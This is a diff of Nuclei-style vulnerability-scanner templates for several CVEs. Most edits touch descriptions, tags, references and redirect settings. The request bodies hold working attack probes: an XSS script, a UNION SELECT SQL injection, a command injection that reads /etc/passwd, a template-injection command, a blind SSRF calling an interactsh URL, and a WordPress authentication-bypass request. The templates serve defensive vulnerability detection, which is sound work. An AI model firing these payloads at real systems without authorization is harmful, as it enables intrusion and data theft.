-          - '(?m)^(?:Location\s*?:\s*?)(?:https?://|//)?(?:[a-zA-Z0-9\-_]*\.)?interact\.sh(?:\s*?)$'
+          - '(?m)^(?:Location\s*?:\s*?)(?:https?://|//)?(?:[a-zA-Z0-9\-_]*\.)?interact\.sh(?:\s*?)$'
+
+# Enhanced by md on 2022/10/13

cves/2020/CVE-2020-24550.yaml

@@ -1,12 +1,13 @@
 id: CVE-2020-24550
 
 info:
-  name: EpiServer <13.2.7 - Open Redirect
+  name: EpiServer Find <13.2.7 - Open Redirect
   author: dhiyaneshDK
   severity: medium
-  description: An Open Redirect vulnerability in EpiServer Find before 13.2.7 allows an attacker to redirect users to untrusted websites via the _t_redirect parameter in a crafted URL, such as a /find_v2/_click URL.
+  description: EpiServer Find before 13.2.7 contains an open redirect vulnerability via the _t_redirect parameter in a crafted URL, such as a /find_v2/_click URL. An attacker can redirect a user to a malicious site and possibly obtain sensitive information, modify data, and/or execute unauthorized operations.
   reference:
     - https://labs.nettitude.com/blog/cve-2020-24550-open-redirect-in-episerver-find/
+    - https://nvd.nist.gov/vuln/detail/CVE-2020-24550
   classification:
     cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
     cvss-score: 6.1
@@ -29,3 +30,5 @@ requests:
       - type: status
         status:
           - 301
+
+# Enhanced by md on 2022/10/13

cves/2020/CVE-2020-35489.yaml

@@ -15,7 +15,7 @@ info:
     cvss-score: 10
     cve-id: CVE-2020-35489
     cwe-id: CWE-434
-  tags: cve,cve2020,wordpress,wp-plugin,rce,upload,intrusive
+  tags: cve,cve2020,wordpress,wp-plugin,rce,fileupload,intrusive
 
 requests:
   - method: GET

cves/2020/CVE-2020-36365.yaml

@@ -1,14 +1,15 @@
 id: CVE-2020-36365
 
 info:
-  name: Smartstore < 4.1.0 - Open Redirect
+  name: Smartstore <4.1.0 - Open Redirect
   author: 0x_Akoko
   severity: medium
-  description: Smartstore (aka SmartStoreNET) before 4.1.0 allows CommonController.ClearCache, ClearDatabaseCache, RestartApplication, and ScheduleTaskController.Edit open redirect.
+  description: Smartstore (aka "SmartStoreNET") before 4.1.0 contains an open redirect vulnerability via CommonController.ClearCache, ClearDatabaseCache, RestartApplication, and ScheduleTaskController.Edit. An attacker can redirect a user to a malicious site and possibly obtain sensitive information, modify data, and/or execute unauthorized operations.
   reference:
     - https://github.com/smartstore/SmartStoreNET/issues/2113
     - https://www.cvedetails.com/cve/CVE-2020-36365
     - https://github.com/smartstore/SmartStoreNET
+    - https://nvd.nist.gov/vuln/detail/CVE-2020-36365
   classification:
     cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
     cvss-score: 6.1
@@ -29,3 +30,5 @@ requests:
         part: header
         regex:
           - '(?m)^(?:Location\s*?:\s*?)(?:https?:\/\/|\/\/|\/\\\\|\/\\)?(?:[a-zA-Z0-9\-_\.@]*)interact\.sh\/?(\/|[^.].*)?$' # https://regex101.com/r/ZDYhFh/1
+
+# Enhanced by md on 2022/10/14

cves/2020/CVE-2020-5191.yaml

@@ -35,7 +35,7 @@ requests:
 
         doctorspecilization=%3C%2Ftd%3E%3Cscript%3Ealert%28document.domain%29%3B%3C%2Fscript%3E%3Ctd%3E&submit=
 
-    redirects: true
+    host-redirects: true
     max-redirects: 2
     cookie-reuse: true
     matchers-condition: and

cves/2020/CVE-2020-5192.yaml

@@ -38,7 +38,7 @@ requests:
 
         searchdata='+UNION+ALL+SELECT+NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(CONCAT(md5({{num}}),1),2),NULL--+PqeG&search=
 
-    redirects: true
+    host-redirects: true
     max-redirects: 2
     cookie-reuse: true
     matchers-condition: and

cves/2020/CVE-2020-6308.yaml

@@ -1,10 +1,11 @@
 id: CVE-2020-6308
 
 info:
-  name: Unauthenticated Blind SSRF in SAP
+  name: SAP - Unauthenticated Blind SSRF
   author: madrobot
   severity: medium
-  description: SAP BusinessObjects Business Intelligence Platform (Web Services) versions - 410, 420, 430, allows an unauthenticated attacker to inject arbitrary values as CMS parameters to perform lookups on the internal network which is otherwise not accessible externally. On successful exploitation, attacker can scan internal network to determine internal infrastructure and gather information for further attacks like remote file inclusion, retrieve server files, bypass firewall and force the vulnerable server to perform malicious requests, resulting in a Server-Side Request Forgery vulnerability.
+  description: |
+   SAP BusinessObjects Business Intelligence Platform (Web Services) versions - 410, 420, 430, allows an unauthenticated attacker to inject arbitrary values as CMS parameters to perform lookups on the internal network which is otherwise not accessible externally. On successful exploitation, attacker can scan internal network to determine internal infrastructure and gather information for further attacks like remote file inclusion, retrieve server files, bypass firewall and force the vulnerable server to perform malicious requests, resulting in a Server-Side Request Forgery vulnerability.
   reference:
     - https://github.com/InitRoot/CVE-2020-6308-PoC
     - https://launchpad.support.sap.com/#/notes/2943844
@@ -14,17 +15,25 @@ info:
     cvss-score: 5.3
     cve-id: CVE-2020-6308
     cwe-id: CWE-918
-  tags: cve,cve2020,sap,ssrf,oast,blind
+  tags: cve,cve2020,sap,ssrf,oast,unauth
 
 requests:
-  - method: POST
-    path:
-      - '{{BaseURL}}/AdminTools/querybuilder/logon?framework='
+  - raw:
+      - |
+        POST /AdminTools/querybuilder/logon?framework= HTTP/1.1
+        Host: {{Hostname}}
+        Content-Type: application/x-www-form-urlencoded
 
-    body: aps={{interactsh-url}}&usr=admin&pwd=admin&aut=secEnterprise&main_page=ie.jsp&new_pass_page=newpwdform.jsp&exit_page=logonform.jsp
+        aps={{interactsh-url}}&usr=anything&pwd=anything&aut=secEnterprise&main_page=ie.jsp&new_pass_page=newpwdform.jsp&exit_page=logonform.jsp
 
+    matchers-condition: and
     matchers:
       - type: word
         part: interactsh_protocol # Confirms the DNS Interaction
         words:
           - "dns"
+
+      - type: word
+        part: location
+        words:
+          - "{{BaseURL}}/AdminTools/querybuilder/logonform.jsp"

cves/2020/CVE-2020-7980.yaml

@@ -29,7 +29,7 @@ requests:
 
         {"O_": "A", "F_": "EXEC_CMD", "S_": 123456789, "P1_": {"Q": "cat /etc/passwd", "F": "EXEC_CMD"}, "V_": 1}
 
-    redirects: true
+    host-redirects: true
     max-redirects: 2
     matchers-condition: and
     matchers:

cves/2020/CVE-2020-8644.yaml

@@ -32,7 +32,7 @@ requests:
         X-CSRF-Token={{csrf}}&username=%7B%7B%60echo%20%27CVE-2020-8644%27%20%7C%20rev%60%7D%7D&password=
 
     cookie-reuse: true
-    redirects: true
+    host-redirects: true
     max-redirects: 2
     extractors:
       - type: xpath

cves/2020/CVE-2020-8772.yaml

@@ -1,19 +1,17 @@
 id: CVE-2020-8772
 
 info:
-  name: WordPress InfiniteWP Client < 1.9.4.5 - Authentication Bypass
+  name: WordPress InfiniteWP <1.9.4.5 - Authorization Bypass
   author: princechaddha,scent2d
   severity: critical
   description: |
-    The InfiniteWP Client plugin before 1.9.4.5 for WordPress has a missing
-    authorization check in iwp_mmb_set_request in init.php. Any attacker who
-    knows the username of an administrator can log in.
+    WordPress InfiniteWP plugin before 1.9.4.5 for WordPress contains an authorization bypass vulnerability via a missing authorization check in iwp_mmb_set_request in init.php. An attacker who knows the username of an administrator can log in, thereby making it possible to obtain sensitive information, modify data, and/or execute unauthorized operations.
+  remediation: Upgrade to InfiniteWP 1.9.4.5 or higher.
   reference:
     - https://wpscan.com/vulnerability/10011
-    - https://nvd.nist.gov/vuln/detail/CVE-2020-8772
     - https://www.webarxsecurity.com/vulnerability-infinitewp-client-wp-time-capsule/
     - https://wpvulndb.com/vulnerabilities/10011
-  remediation: Upgrade to InfiniteWP Client 1.9.4.5 or higher.
+    - https://nvd.nist.gov/vuln/detail/CVE-2020-8772
   classification:
     cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
     cvss-score: 9.8
@@ -39,7 +37,7 @@ requests:
 
         _IWP_JSON_PREFIX_{{base64("{\"iwp_action\":\"add_site\",\"params\":{\"username\":\"{{username}}\"}}")}}
 
-    redirects: true
+    host-redirects: true
     extractors:
       - type: regex
         name: username
@@ -72,3 +70,5 @@ requests:
       - type: status
         status:
           - 200
+
+# Enhanced by md on 2022/10/19

cves/2020/CVE-2020-9043.yaml

@@ -41,7 +41,7 @@ requests:
         GET /wp-admin/admin-ajax.php?action=my_wpc_signon&auth_key={{authkey}} HTTP/1.1
         Host: {{Hostname}}
 
-    redirects: true
+    host-redirects: true
     max-redirects: 2
     cookie-reuse: true
     req-condition: true

cves/2021/CVE-2021-1472.yaml

@@ -1,12 +1,11 @@
 id: CVE-2021-1472
 
 info:
-  name: Cisco Small Business RV Series - Authentication Bypass and Command Injection
+  name: Cisco Small Business RV Series - OS Command Injection
   author: gy741
   severity: critical
   description: |
-    Multiple vulnerabilities exist in the web-based management interface of Cisco Small Business RV Series Routers. A remote
-    attacker could execute arbitrary commands or bypass authentication and upload files on an affected device.
+    Cisco Small Business RV Series routers RV16X/RV26X versions 1.0.01.02 and before and RV34X versions 1.0.03.20 and before contain multiple OS command injection vulnerabilities in the web-based management interface. A remote attacker can execute arbitrary OS commands via the sessionid cookie or bypass authentication and upload files on an affected device.
   reference:
     - https://www.iot-inspector.com/blog/advisory-cisco-rv34x-authentication-bypass-remote-command-execution/
     - https://packetstormsecurity.com/files/162238/Cisco-RV-Authentication-Bypass-Code-Execution.html
@@ -69,3 +68,5 @@ requests:
         part: body
         words:
           - '"jsonrpc":'
+
+# Enhanced by mp on 2022/10/06